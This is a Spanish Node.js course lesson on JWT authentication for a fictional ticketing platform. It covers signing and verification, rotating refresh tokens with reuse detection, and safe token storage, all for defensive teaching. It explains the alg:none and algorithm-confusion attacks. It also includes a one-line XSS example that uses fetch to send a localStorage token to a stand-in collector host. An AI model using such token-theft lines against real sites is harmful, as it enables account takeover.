Las sesiones de la lección anterior funcionan y son una gran opción. Pero también dejaron dos facturas sobre la mesa: exigen estado compartido (Redis en cuanto haya más de un proceso) y encajan mal fuera del navegador, justo donde Escena Viva quiere llegar con una app de validación de entradas en la puerta del Auditorio Ribera.
Los JSON Web Tokens invierten el planteamiento: en vez de guardar el estado en el servidor y darle al cliente un puntero opaco, se le entrega información firmada y el servidor se limita a verificar la firma. Suena ideal, y por eso se usan tan mal. Vamos a ver qué hay realmente dentro de un JWT, por qué firmar no es cifrar, qué ataques concretos hay que bloquear, y cómo se resuelve el problema que nadie puede ignorar: un JWT no se puede revocar.
Contenido
- Anatomía de un JSON Web Token
- Decodificarlo a mano en el REPL
- HS256 frente a RS256
- Reclamaciones estándar y propias
jsonwebtoken: firmar y verificar- Los ataques
alg: noney de confusión de algoritmos - El secreto en la configuración
- El problema real: no se pueden revocar
- El patrón de Escena Viva: acceso corto + refresco rotatorio
- Implementación:
src/servicios/tokens.js - Rutas de login, refresco y logout
- El middleware
autenticar - Dónde NO guardar el token en el navegador
- Errores clásicos, ejercicios y conclusión
- Anatomía de un JSON Web Token
Un JWT son tres partes separadas por puntos: eyJhbGciOiJIUzI1NiJ9 (cabecera) . eyJzdWIiOiI2NGYwMDEiLCJyb2wiOiJhc2lzdGVudGUifQ (carga útil) . 3xR9_kQ2f8m1TnV0pLcYhZaBqWjE7sN4dGuI6oKmXyc (firma).
La cabecera dice qué algoritmo firma el token; la carga útil contiene las reclamaciones (claims), los datos que afirmamos; la firma prueba que las dos partes anteriores no se han modificado. Las dos primeras están codificadas en base64url, la variante que vimos en el módulo 3 con los Buffers: usa - y _ en lugar de + y /, y elimina el relleno = para que el token viaje limpio en URLs y cabeceras. Y aquí está el punto que hay que grabar a fuego:
base64urlno es cifrado, es codificación. Cualquiera que tenga el token puede leer su contenido. Firmar no es cifrar.
Firmar garantiza integridad y autenticidad (nadie lo ha modificado, lo emitió quien dice), no confidencialidad.
- Decodificarlo a mano en el REPL
Demostrémoslo sin bibliotecas, con lo que sabemos del módulo 3:
// node
const [cabecera, cargaUtil, firma] = token.split('.');
// Buffer.from con 'base64url': soportado de forma nativa (modulo 3).
JSON.parse(Buffer.from(cabecera, 'base64url').toString('utf8'));
// { alg: 'HS256', typ: 'JWT' }
JSON.parse(Buffer.from(cargaUtil, 'base64url').toString('utf8'));
// { sub: '64f001', rol: 'asistente', iat: 1755120000, exp: 1755120900 }
firma.length; // 43 caracteres: 32 bytes de HMAC-SHA256 en base64urlSin secreto, sin biblioteca, sin permiso: acabamos de leer el contenido completo. Consecuencias prácticas: nunca metas en un JWT la contraseña, el hash, un número de tarjeta ni una nota interna; asume que el usuario verá su rol, su sub y su exp (no pasa nada, son suyos); y si de verdad necesitas confidencialidad existe JWE, aunque casi siempre es más simple no meter secretos dentro. Lo que no puede hacer nadie sin el secreto es cambiar "rol":"asistente" por "rol":"administrador" y producir una firma válida: verify lo rechaza.
- HS256 frente a RS256
| HS256 (HMAC-SHA256) | RS256 (RSA + SHA256) | |
|---|---|---|
| Tipo | Simétrico: un secreto compartido | Asimétrico: clave privada firma, pública verifica |
| Quién puede firmar | Todo el que pueda verificar | Solo quien tiene la privada |
| Tamaño de firma / velocidad | 32 bytes, muy rápida | 256 bytes, firma lenta |
| Cuándo usarlo | Un solo servicio emite y verifica | Varios servicios verifican, uno emite |
Regla de decisión: si el mismo sistema emite y verifica, HS256 es perfecto y más simple. Si necesitas que servicios de terceros verifiquen sin poder emitir —microservicios, un proveedor de identidad externo—, necesitas RS256 (o ES256, con curvas elípticas, más compacto): repartes la clave pública sin miedo porque no permite falsificar. Escena Viva es hoy un único servicio Node, así que HS256, aislado en un módulo para que migrar el día que haya microservicios sea cambiar un fichero.
- Reclamaciones estándar y propias
| Reclamación | Significado | Uso en Escena Viva |
|---|---|---|
sub (subject) |
A quién identifica el token | Id del usuario |
iat / exp |
Cuándo se emitió y cuándo caduca (época en segundos) | Auditoría; 15 minutos de acceso |
nbf (not before) |
No válido antes de esta fecha | No lo usamos |
iss / aud |
Quién lo emitió y para quién es | escena-viva-api / escena-viva-clientes |
jti (JWT ID) |
Identificador único del token | En el refresco, para revocarlo |
Las nuestras: rol (asistente, organizador, administrador) y, para los organizadores, sala. Dos reglas sobre el contenido: nada sensible, porque es legible por cualquiera; y nada voluminoso, porque el token viaja en una cabecera en cada petición y puede chocar con los límites habituales de 8 KB de proxies y servidores. Y una advertencia que retomaremos en 08-05: rol dentro del token es una fotografía del momento de la emisión; si un administrador degrada a un organizador, su token seguirá diciendo organizador hasta que caduque. Por eso el token de acceso es corto.
jsonwebtoken: firmar y verificar
jsonwebtoken: firmar y verificar// npm install jsonwebtoken
const jwt = require('jsonwebtoken');
const token = jwt.sign({ rol: 'asistente' }, configuracion.jwtSecretoAcceso,
{ subject: '64f001', expiresIn: '15m', issuer: 'escena-viva-api',
audience: 'escena-viva-clientes', algorithm: 'HS256' });
const carga = jwt.verify(token, configuracion.jwtSecretoAcceso, {
algorithms: ['HS256'], // LA LINEA MAS IMPORTANTE: lista blanca de algoritmos
issuer: 'escena-viva-api', audience: 'escena-viva-clientes',
clockTolerance: 5, // margen por desfase de relojes entre maquinas
});verify comprueba, en este orden: que la firma es válida, que exp no ha pasado, que nbf ya llegó, y que iss y aud coinciden. Si algo falla lanza una excepción; nunca devuelve un token inválido. Los errores que hay que distinguir: TokenExpiredError (firma válida, exp pasado → el cliente debe refrescar), JsonWebTokenError (firma incorrecta, formato roto, iss/aud distintos) y NotBeforeError (nbf en el futuro).
- Los ataques
alg: none y de confusión de algoritmos
alg: none y de confusión de algoritmosEsta sección explica por qué la lista algorithms no es opcional.
Ataque alg: none. La especificación contempla un algoritmo none, pensado para tokens ya protegidos por otro medio. El ataque es descarado: el atacante envía la cabecera {"alg":"none","typ":"JWT"}, la carga {"sub":"64f001","rol":"administrador","exp":9999999999} y la firma vacía. Si la biblioteca hace caso a la cabecera para decidir cómo verificar, concluye que no hay nada que verificar y acepta el token: el atacante se ha nombrado administrador escribiendo JSON. Confusión de algoritmos (RS256 → HS256). Más sutil y más elegante. Supón que el servidor usa RS256 y publica su clave pública, como debe. El atacante cambia la cabecera a "alg":"HS256", firma el token con HMAC usando la clave pública como secreto, y el servidor lee alg: HS256, coge «su clave» —la pública, la única que tiene— y la usa como secreto HMAC. La firma cuadra.
El fallo de fondo es el mismo en ambos casos: dejar que el atacante elija el algoritmo de verificación. La defensa es una línea:
// NUNCA: jwt.verify(token, secreto) <- acepta lo que diga la cabecera
jwt.verify(token, secreto, { algorithms: ['HS256'] }); // SIEMPRELas versiones modernas de jsonwebtoken ya mitigan buena parte de esto, pero fijar algorithms explícitamente sigue siendo obligatorio: es la defensa que no depende de la versión que acabe instalada. Regla general: la política de verificación la decide el que verifica, nunca el mensaje que llega.
- El secreto en la configuración
// src/config/index.js (fragmento anadido en el modulo 8)
const jwtSecretoAcceso = process.env.JWT_SECRETO_ACCESO;
const jwtSecretoRefresco = process.env.JWT_SECRETO_REFRESCO;
// Validacion al arrancar: fallar rapido y ruidosamente.
if (entorno === 'produccion') {
for (const [nombre, valor] of Object.entries({ jwtSecretoAcceso, jwtSecretoRefresco })) {
if (!valor || valor.length < 32) { throw new Error(`${nombre} debe tener 32+ caracteres`); }
}
// Secretos distintos: un refresco jamas debe colar como token de acceso.
if (jwtSecretoAcceso === jwtSecretoRefresco) { throw new Error('Deben ser distintos'); }
}Generar un secreto en condiciones: node -e "console.log(require('node:crypto').randomBytes(48).toString('base64url'))". 48 bytes aleatorios (384 bits) es holgado para HS256; una frase memorizable no vale, porque el ataque contra un secreto HMAC débil es un ataque de diccionario offline sobre cualquier token capturado. Un secreto por propósito, nunca compartido, y nunca en el repositorio (el .env está en .gitignore desde el módulo 5). Para rotar se mantiene una lista [nuevo, anterior]: se firma con el primero y se verifica contra todos hasta que caducan los antiguos. La gestión de secretos en producción se cierra en el módulo 11.
- El problema real: no se pueden revocar
Un JWT es válido hasta que caduca, y el servidor no tiene forma de opinar. Es consecuencia directa de su virtud: si no hay estado, no hay nada que borrar.
| Situación | Con sesión | Con JWT puro |
|---|---|---|
| Lucía pulsa «cerrar sesión» | Se destruye la sesión: fuera al instante | El token sigue funcionando; solo se borró del cliente |
| Se degrada a un organizador | Rol nuevo en la petición siguiente | Sigue siendo organizador hasta que caduque |
| Cuenta comprometida o contraseña cambiada | Se borran sus sesiones | No hay forma de expulsarlo: los tokens siguen vivos |
Las respuestas habituales y su veredicto honesto: una lista negra de tokens revocados funciona, pero reintroduce el estado que justificaba usar JWT; tokens muy cortos reducen la ventana sin eliminarla, y obligan a reautenticarse a menudo; comprobar en cada petición si el usuario sigue activo es una consulta por petición… que es exactamente lo que hace una sesión. La respuesta madura de la industria combina las dos primeras, y es la que adoptamos.
- El patrón de Escena Viva: acceso corto + refresco rotatorio
| Token de acceso | Token de refresco | |
|---|---|---|
| Duración | 15 minutos | 30 días |
| Dónde vive en el cliente | En memoria de JavaScript | Cookie HttpOnly+Secure+SameSite=Strict |
| Cómo viaja | Authorization: Bearer |
Automáticamente, solo a /auth/refrescar |
| Estado en servidor / revocable | Ninguno; no revocable (caduca en 15 min) | Su hash en la base; revocable al instante |
La idea: el token que se usa constantemente no es revocable pero apenas dura; el token que dura es revocable y casi no se usa. El daño de un token de acceso robado se limita a 15 minutos; el de refresco se puede matar en la base. Añadimos dos refinamientos imprescindibles: rotación (cada uso del refresco lo invalida y emite uno nuevo, así un refresco capturado solo sirve una vez) y detección de reutilización (los refrescos de un mismo inicio de sesión forman una familia; si llega uno ya consumido, o el atacante usó el robado y el legítimo llega después, o al revés, y en ambos casos se revoca la familia entera).
sequenceDiagram
participant C as Cliente
participant A as API
participant D as MongoDB
C->>A: POST /auth/login
A->>D: Guardar hash(R1), familia F, usado=false
A-->>C: {tokenAcceso (15 min)} + Set-Cookie refresco=R1
Note over C,A: 15 minutos despues, el acceso caduca
C->>A: GET /api/pedidos (Bearer caducado)
A-->>C: 401 TOKEN_CADUCADO
C->>A: POST /auth/refrescar (Cookie: refresco=R1)
A->>D: hash(R1) valido y sin usar
A->>D: Marcar R1 usado; guardar hash(R2) en familia F
A-->>C: {tokenAcceso nuevo} + Set-Cookie refresco=R2
Note over C,A: Un atacante reutiliza el R1 robado
C->>A: POST /auth/refrescar (Cookie: refresco=R1)
A->>D: hash(R1) existe pero usado=true -> REUTILIZACION
A->>D: Revocar TODA la familia F
A-->>C: 401: hay que iniciar sesion de nuevo
- Implementación:
src/servicios/tokens.js
src/servicios/tokens.jsEl modelo TokenRefresco guarda usuarioId, el hash SHA-256 del token (nunca el token: si se filtra la base, los refrescos almacenados son inservibles), un familiaId común a toda la cadena de un inicio de sesión, las banderas usado y revocado, el agenteUsuario para la pantalla de «mis dispositivos», y expiraEn con índice TTL.
// src/servicios/tokens.js
'use strict';
const jwt = require('jsonwebtoken');
const { randomBytes, randomUUID, createHash } = require('node:crypto');
const { configuracion } = require('../config/index.js');
const { TokenRefresco } = require('../modelos/token-refresco.js');
const { ErrorDeAutenticacion } = require('../errores.js');
const EMISOR = 'escena-viva-api';
const AUDIENCIA = 'escena-viva-clientes';
const VIDA_ACCESO = '15m';
const VIDA_REFRESCO_MS = 30 * 24 * 60 * 60 * 1000;
const hashearToken = (token) => createHash('sha256').update(token).digest('hex');
function firmarAcceso(usuario) {
return jwt.sign({ rol: usuario.rol, sala: usuario.salaAsignada || undefined },
configuracion.jwtSecretoAcceso, { subject: String(usuario.id), expiresIn: VIDA_ACCESO,
issuer: EMISOR, audience: AUDIENCIA, algorithm: 'HS256' });
}
function verificarAcceso(token) {
try {
const carga = jwt.verify(token, configuracion.jwtSecretoAcceso, {
algorithms: ['HS256'], // lista blanca: bloquea alg:none y confusion
issuer: EMISOR, audience: AUDIENCIA, clockTolerance: 5,
});
return { id: carga.sub, rol: carga.rol, sala: carga.sala || null };
} catch (error) {
// Distinguimos caducado de invalido: el cliente debe saber si le toca
// refrescar o volver a iniciar sesion.
if (error.name === 'TokenExpiredError') {
throw new ErrorDeAutenticacion('El token de acceso ha caducado', { motivo: 'TOKEN_CADUCADO' });
}
throw new ErrorDeAutenticacion('Token de acceso invalido', { motivo: 'TOKEN_INVALIDO' });
}
}
async function emitirRefresco(usuarioId, opciones = {}) {
const familiaId = opciones.familiaId || randomUUID();
// Token opaco de 256 bits: no necesita ser un JWT porque siempre se
// consulta en la base. Menos superficie, menos que verificar.
const token = randomBytes(32).toString('base64url');
await TokenRefresco.create({ usuarioId, familiaId, hashToken: hashearToken(token),
agenteUsuario: opciones.agenteUsuario || null,
expiraEn: new Date(Date.now() + VIDA_REFRESCO_MS) });
return { token, familiaId };
}
async function revocarFamilia(familiaId) {
await TokenRefresco.updateMany({ familiaId }, { $set: { revocado: true } });
}
async function rotarRefresco(token, opciones = {}) {
const registro = await TokenRefresco.findOne({ hashToken: hashearToken(token) });
if (!registro || registro.revocado || registro.expiraEn.getTime() < Date.now()) {
throw new ErrorDeAutenticacion('Sesion no valida', { motivo: 'REFRESCO_INVALIDO' });
}
if (registro.usado) {
// REUTILIZACION: o lo robaron y lo usan ahora, o lo usaron ellos y llega
// el legitimo. No se puede saber cual, asi que cae toda la familia.
await revocarFamilia(registro.familiaId);
throw new ErrorDeAutenticacion('Sesion revocada por seguridad', { motivo: 'REFRESCO_REUTILIZADO' });
}
registro.usado = true;
await registro.save();
// El nuevo hereda la familia: la cadena sigue siendo rastreable.
const nuevo = await emitirRefresco(registro.usuarioId, {
familiaId: registro.familiaId, agenteUsuario: opciones.agenteUsuario });
return { usuarioId: String(registro.usuarioId), ...nuevo };
}
module.exports = { firmarAcceso, verificarAcceso, emitirRefresco, rotarRefresco,
revocarFamilia, hashearToken, VIDA_REFRESCO_MS };Nota de diseño importante: el token de refresco no es un JWT. Como se consulta en la base en cada uso, ser autocontenido no aporta nada; un valor aleatorio opaco es más corto, más simple y no arrastra ninguno de los ataques de la sección 6.
- Rutas de login, refresco y logout
// src/controladores/autenticacion.js (fragmento JWT)
const NOMBRE_COOKIE = 'ev.refresco';
const opcionesCookie = () => ({
httpOnly: true, // XSS no la lee
secure: configuracion.entorno === 'produccion', // solo HTTPS
sameSite: 'strict', // anti CSRF en /refrescar
path: '/auth/refrescar', // no viaja al resto de la API
maxAge: VIDA_REFRESCO_MS,
});
async function iniciarSesionJwt(req, res, next) {
try {
const usuario = req.usuarioAutenticado; // lo dejo la verificacion de 08-02
const { token } = await emitirRefresco(usuario.id, { agenteUsuario: req.get('user-agent') });
res.cookie(NOMBRE_COOKIE, token, opcionesCookie());
// El de acceso va en el CUERPO: el cliente lo guarda en memoria, no en
// localStorage (seccion 13).
res.json({ tokenAcceso: firmarAcceso(usuario), expiraEnSegundos: 900,
usuario: { id: usuario.id, nombre: usuario.nombre, rol: usuario.rol } });
} catch (error) { next(error); }
}
async function refrescar(req, res, next) {
try {
const tokenAntiguo = req.cookies[NOMBRE_COOKIE];
if (!tokenAntiguo) {
throw new ErrorDeAutenticacion('No hay sesion que refrescar', { motivo: 'SIN_REFRESCO' });
}
const { usuarioId, token } = await rotarRefresco(tokenAntiguo, { agenteUsuario: req.get('user-agent') });
// Se relee el usuario: asi el rol del token nuevo esta ACTUALIZADO, que
// es lo que acota el problema de los roles congelados.
const usuario = await Usuario.findById(usuarioId).lean();
if (!usuario) { throw new ErrorDeAutenticacion('Sesion no valida'); }
res.cookie(NOMBRE_COOKIE, token, opcionesCookie());
res.json({ expiraEnSegundos: 900, tokenAcceso: firmarAcceso(
{ id: usuarioId, rol: usuario.rol, salaAsignada: usuario.salaAsignada }) });
} catch (error) { next(error); }
}
async function cerrarSesionJwt(req, res, next) {
try {
const token = req.cookies[NOMBRE_COOKIE];
if (token) {
const registro = await TokenRefresco.findOne({ hashToken: hashearToken(token) });
// Se revoca la FAMILIA: cae toda la cadena de ese inicio de sesion.
if (registro) { await revocarFamilia(registro.familiaId); }
}
res.clearCookie(NOMBRE_COOKIE, { ...opcionesCookie(), maxAge: undefined });
res.status(204).end();
} catch (error) { next(error); }
}Sé honesto sobre lo que este logout consigue y lo que no: revoca el refresco al instante, pero el token de acceso que el cliente ya tiene sigue siendo válido hasta 15 minutos. Para operaciones críticas (anular entradas, cambiar roles) hay que comprobar el estado del usuario en la base, no solo la firma.
POST /auth/refrescar HTTP/1.1
Host: api.escenaviva.test
Cookie: ev.refresco=Qm5x...
HTTP/1.1 200 OK
Set-Cookie: ev.refresco=Zt7p...; HttpOnly; Secure; SameSite=Strict; Path=/auth/refrescar; Max-Age=2592000
{ "tokenAcceso": "eyJhbGciOiJIUzI1NiIs...", "expiraEnSegundos": 900 }
- El middleware
autenticar
autenticar// src/middleware/autenticar.js
'use strict';
const { verificarAcceso } = require('../servicios/tokens.js');
const { ErrorDeAutenticacion } = require('../errores.js');
function extraerToken(req) {
const cabecera = req.get('authorization');
if (!cabecera) { return null; }
const [esquema, valor] = cabecera.split(' ');
// El esquema se compara sin distinguir mayusculas (RFC 7235).
if (!valor || esquema.toLowerCase() !== 'bearer') { return null; }
return valor.trim();
}
function autenticar(req, res, next) {
try {
const token = extraerToken(req);
if (!token) {
throw new ErrorDeAutenticacion('Falta el token de acceso', { motivo: 'SIN_TOKEN' });
}
req.usuario = verificarAcceso(token); // lanza y distingue caducado de invalido
next();
} catch (error) { next(error); }
}
// Para rutas publicas que se enriquecen si hay sesion (por ejemplo, marcar
// los eventos que el usuario ya ha comprado).
function autenticarOpcional(req, res, next) {
const token = extraerToken(req);
if (!token) { return next(); }
try {
req.usuario = verificarAcceso(token);
} catch {
// Token malo en ruta publica: se ignora, no se rompe la navegacion.
}
next();
}
module.exports = { autenticar, autenticarOpcional };Los casos de 401, distinguidos por motivo para que el cliente sepa qué hacer:
motivo |
Situación | Qué debe hacer el cliente |
|---|---|---|
SIN_TOKEN |
No hay cabecera Authorization |
Ir al login |
TOKEN_CADUCADO |
Firma buena, exp pasado |
Llamar a /auth/refrescar y reintentar |
TOKEN_INVALIDO |
Firma mala, iss/aud distintos, formato roto |
Ir al login; posible manipulación |
REFRESCO_REUTILIZADO |
Reutilización detectada | Login obligatorio; avisar al usuario |
Fíjate en que req.usuario tiene la misma forma que dejaba exigirSesion en 08-03. Por eso los controladores y la autorización de 08-05 funcionan igual con sesión o con JWT.
- Dónde NO guardar el token en el navegador
| Sitio | Accesible por JS | Veredicto |
|---|---|---|
localStorage / sessionStorage |
Sí | No para credenciales de larga vida |
| Variable en memoria | Solo el propio código | Recomendado para el token de acceso |
Cookie HttpOnly |
No | Recomendado para el refresco |
localStorage es visible para todo el JavaScript de la página, incluido el que inyecte un XSS y el de cualquier dependencia de terceros. Un script malicioso hace fetch('https://recolector.test/r?t=' + localStorage.getItem('token')) y se acabó. Con la cookie HttpOnly no puede: document.cookie no la ve. El atacante con XSS todavía puede hacer peticiones desde la página de la víctima —el XSS es grave siempre—, pero no puede exfiltrar la credencial para usarla después desde otro sitio y durante 30 días. Esa diferencia entre «daño mientras la pestaña está abierta» y «cuenta comprometida indefinidamente» es exactamente lo que compramos. Y por eso el token de acceso va en memoria: si se pierde al recargar, una llamada a /auth/refrescar (con la cookie automática) devuelve uno nuevo. Es el patrón «refresco silencioso al arrancar».
Errores Comunes y Consejos
jwt.decode()en vez dejwt.verify().decodeno comprueba la firma: solo lee. Usarlo para autenticar equivale a no tener autenticación. Igual de grave: omitiralgorithmsenverify, o meter datos sensibles en la carga útil creyendo que va cifrada.- Tokens de acceso larguísimos («7 días, así no molesto al usuario»): un token robado sirve una semana.
- Guardar el refresco en
localStoragey perder toda la ventaja deHttpOnly; o no rotarlo, con lo que un refresco robado da acceso permanente. - Confiar en el
roldel token para una acción crítica sin releer la base (08-05), o usar el mismo secreto para acceso y refresco, con lo que un refresco podría colar como token de acceso. - No manejar el 401 en el cliente: sin lógica de refresco y reintento, el usuario ve fallos aleatorios cada 15 minutos.
- Poner el token en la URL (
?token=...): queda en logs de proxies, en el historial y en la cabeceraReferer.
Ejercicios
Ejercicio 1: inspeccionar y falsificar
En el REPL de Node: (a) decodifica la carga útil del token de la sección 2; (b) construye un token manipulado cambiando "rol":"asistente" por "rol":"administrador", reutilizando la firma original; (c) verifícalo con jwt.verify y explica qué ocurre y por qué.
Ejercicio 2: cliente con refresco automático
Escribe peticionAutenticada(url, opciones) para el front-end: usa el token de acceso guardado en memoria; si recibe un 401 con motivo: 'TOKEN_CADUCADO', llama a /auth/refrescar, guarda el token nuevo y reintenta una sola vez; ante cualquier otro 401, envía al usuario al login.
Ejercicio 3: sesión de un solo dispositivo
Escena Viva quiere que un asistente solo pueda tener una sesión activa: al iniciar sesión en un dispositivo nuevo, la anterior debe caer. Describe los cambios en emitirRefresco y explica qué límite tiene esta medida con el token de acceso.
Soluciones
Ejercicio 1
const [cab, carga, firma] = token.split('.');
const datos = JSON.parse(Buffer.from(carga, 'base64url').toString('utf8'));
datos.rol = 'administrador';
const tokenFalso = `${cab}.${Buffer.from(JSON.stringify(datos)).toString('base64url')}.${firma}`;
try { jwt.verify(tokenFalso, secreto, { algorithms: ['HS256'] }); }
catch (error) { console.log(error.name); } // JsonWebTokenError: invalid signatureLa firma se calcula sobre cabecera.cargaUtil; al cambiar un solo byte de la carga, el HMAC recalculado ya no coincide con la firma adjunta. Leer el token es trivial; modificarlo es imposible sin el secreto. Eso es exactamente lo que significa «firmar no es cifrar»: no hay confidencialidad, sí hay integridad.
Ejercicio 2
let tokenAcceso = null; // en memoria, nunca en localStorage
async function peticionAutenticada(url, opciones = {}, reintentado = false) {
const respuesta = await fetch(url, { ...opciones,
headers: { ...opciones.headers, Authorization: `Bearer ${tokenAcceso}` },
credentials: 'include' }); // necesario para que viaje la cookie de refresco
if (respuesta.status !== 401) { return respuesta; }
const cuerpo = await respuesta.clone().json().catch(() => ({}));
// Solo se refresca si el motivo es caducidad, y solo una vez: sin ese
// limite, un refresco que falle produce un bucle infinito.
if (cuerpo?.error?.detalles?.motivo === 'TOKEN_CADUCADO' && !reintentado) {
const refresco = await fetch('/auth/refrescar', { method: 'POST', credentials: 'include' });
if (refresco.ok) {
({ tokenAcceso } = await refresco.json());
return peticionAutenticada(url, opciones, true);
}
}
tokenAcceso = null;
window.location.href = '/login';
return respuesta;
}En producción conviene además encolar las peticiones concurrentes mientras se refresca, para no lanzar cinco refrescos a la vez y disparar la detección de reutilización contra uno mismo.
Ejercicio 3. En emitirRefresco, antes de crear el registro nuevo, se revocan todos los del usuario: if (opciones.dispositivoUnico) { await TokenRefresco.updateMany({ usuarioId, revocado: false }, { $set: { revocado: true } }); }.
El límite: el token de acceso del dispositivo anterior sigue siendo válido hasta 15 minutos, porque no se puede revocar; el otro dispositivo conserva acceso durante ese margen y solo cae al intentar refrescar. Si el requisito es un corte instantáneo, hay que añadir una comprobación en la base por petición —y en ese momento estás pagando el coste de una sesión, que es justo la decisión de diseño analizada en 08-03.
Conclusión
Ya sabemos qué es de verdad un JWT: tres partes en base64url —cabecera, carga útil y firma— con el contenido legible por cualquiera, porque firmar garantiza integridad y autenticidad, no confidencialidad. Sabemos cuándo HS256 y cuándo RS256, qué reclamaciones estándar existen y por qué el token debe ir ligero y sin secretos. Hemos blindado verify con algorithms explícitos, entendiendo los ataques alg: none y de confusión de algoritmos que esa línea neutraliza. Y hemos afrontado el problema de fondo —los JWT no se revocan— con la solución madura: token de acceso de 15 minutos en memoria del cliente, token de refresco de 30 días en cookie HttpOnly+Secure+SameSite=Strict, guardado hasheado, rotado en cada uso y con detección de reutilización que tumba la familia entera.
Escena Viva ya sabe quién hace cada petición: req.usuario está verificado, con su id y su rol, tanto por sesión como por token. Falta la otra mitad de la lección 08-01: qué puede hacer cada uno. Un asistente no debe leer los pedidos de otro; el organizador de la Sala Bóveda no debe publicar eventos del Teatro Almendra; solo un administrador cambia roles. En la lección siguiente, Control de Acceso Basado en Roles, construimos la matriz de permisos completa, el middleware exigirRol con su 403 bien diferenciado del 401, y la pieza que RBAC no cubre y que provoca la vulnerabilidad más común de las APIs: la propiedad del recurso.
Curso de Node.js: De Principiante a Avanzado
Módulo 1: Introducción a Node.js
- ¿Qué es Node.js?
- Instalación y Configuración del Entorno
- Tu Primer Programa en Node.js
- El REPL de Node.js
- JavaScript Moderno para Node.js
- El Proyecto del Curso: la Plataforma Escena Viva
Módulo 2: Conceptos Básicos
- Arquitectura de Node.js
- El Bucle de Eventos (Event Loop)
- Callbacks y Programación Asíncrona
- Promesas y async/await
- Eventos y EventEmitter
- Módulos CommonJS y require()
- Módulos ES e Interoperabilidad
Módulo 3: Sistema de Archivos y E/S
- Lectura y Escritura de Archivos
- El Módulo fs a Fondo
- Rutas Multiplataforma con el Módulo path
- Trabajando con Streams
- Streams de Transformación y pipeline
- Buffers y Datos Binarios
Módulo 4: HTTP y Servidores Web
- Creando un Servidor HTTP Simple
- Manejo de Solicitudes y Respuestas
- Enrutamiento Manual
- Sirviendo Archivos Estáticos
- Recibiendo Datos: Cuerpos de Petición y JSON
- Consumiendo APIs Externas desde Node.js
Módulo 5: NPM y Gestión de Paquetes
- Introducción a NPM y package.json
- Instalación y Uso de Paquetes
- Versionado Semántico y package-lock
- Scripts de npm y Automatización del Proyecto
- Creación y Publicación de Paquetes
- Seguridad y Mantenimiento de Dependencias
Módulo 6: Framework Express.js
- Introducción a Express.js
- Configuración de una Aplicación Express
- Enrutamiento en Express
- Middleware
- Middleware de Terceros Esenciales
- Validación de Datos de Entrada
- Manejo de Errores
Módulo 7: Bases de Datos y ORMs
- Introducción a las Bases de Datos
- Usando MongoDB con Mongoose
- Operaciones CRUD
- Relaciones, Poblado y Consultas Avanzadas
- Usando Bases de Datos SQL con Sequelize
- Migraciones, Transacciones y Datos de Prueba
Módulo 8: Autenticación y Autorización
- Introducción a la Autenticación
- Registro de Usuarios y Hash de Contraseñas
- Sesiones y Cookies con Passport.js
- Autenticación con JWT
- Control de Acceso Basado en Roles
- Buenas Prácticas de Seguridad en APIs
Módulo 9: Pruebas y Depuración
- Introducción a las Pruebas
- Pruebas Unitarias con Mocha y Chai
- Dobles de Prueba con Sinon
- Pruebas de Integración
- Cobertura y Automatización de las Pruebas
- Depuración de Aplicaciones Node.js
Módulo 10: Temas Avanzados
- El Módulo Cluster
- Hilos de Trabajo (Worker Threads)
- Caché y Colas de Trabajo con Redis
- Optimización del Rendimiento
- Construcción de APIs RESTful
- GraphQL con Node.js
Módulo 11: Despliegue y DevOps
- Configuración y Variables de Entorno
- Registro y Monitorización en Producción
- Usando PM2 para la Gestión de Procesos
- Empaquetado con Docker
- Desplegando en Heroku y Otras PaaS
- Integración y Despliegue Continuos
